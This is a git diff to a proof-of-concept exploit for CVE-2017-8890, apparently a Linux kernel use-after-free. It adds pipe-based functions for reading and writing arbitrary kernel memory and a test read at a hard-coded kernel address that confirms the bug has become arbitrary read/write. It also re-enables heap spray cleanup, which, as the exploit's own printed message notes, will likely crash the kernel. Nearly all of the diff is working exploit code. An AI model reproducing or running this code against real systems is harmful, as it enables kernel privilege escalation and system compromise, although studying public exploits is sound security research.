diff --git a/CVE-2017-8890_PoC.c b/CVE-2017-8890_PoC.c
index 9dd6c42b2adb50f128ab9026944b76580aa81250..5ef8395f7dbc6dfb9555e2328db853f4ea5249c0 100644
--- a/CVE-2017-8890_PoC.c
+++ b/CVE-2017-8890_PoC.c
@@ -163,6 +163,44 @@ void *set_fake_next_rcu() {
     return NULL;
 };
 
+int read_at_address_pipe(void *address, void *buf, size_t len) {
+    int ret = 1;
+    int pipes[2];
+
+    if (pipe(pipes))
+        return 1;
+
+    if (write(pipes[1], address, len) != len)
+        goto end;
+    if (read(pipes[0], buf, len) != len)
+        goto end;
+
+    ret = 0;
+    end:
+    close(pipes[1]);
+    close(pipes[0]);
+    return ret;
+}
+
+int write_at_address_pipe(void *address, void *buf, size_t len) {
+    int ret = 1;
+    int pipes[2];
+
+    if (pipe(pipes))
+        return 1;
+
+    if (write(pipes[1], buf, len) != len)
+        goto end;
+    if (read(pipes[0], address, len) != len)
+        goto end;
+
+    ret = 0;
+    end:
+    close(pipes[1]);
+    close(pipes[0]);
+    return ret;
+}
+
 void heap_spray_init() {
     printf("[Spray] heap_spray_init start\n");
 
@@ -273,6 +311,14 @@ void *server(void *arg) {
 
     //printf("[Server] Shellcode return: %d\n", shellcode_return);
 
+    printf("Exploit complete, let's try arbitrary write.\n");
+    char tester[8] = {};
+    if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) {
+        perror("Turn UAF to arbitrary read/write failed");
+        //while(1) {}
+    }
+    printf("Turn UAF to arbitrary read/write succeeded.\n");
+
     server_finish = 1;
     return NULL;
 }
@@ -341,7 +387,9 @@ int main(int argc, char *argv[]) {
         sleep(1);
     }
 
-    //heap_spray_finalize();
+    printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n");
+
+    heap_spray_finalize();
 
     return EXIT_SUCCESS;
 }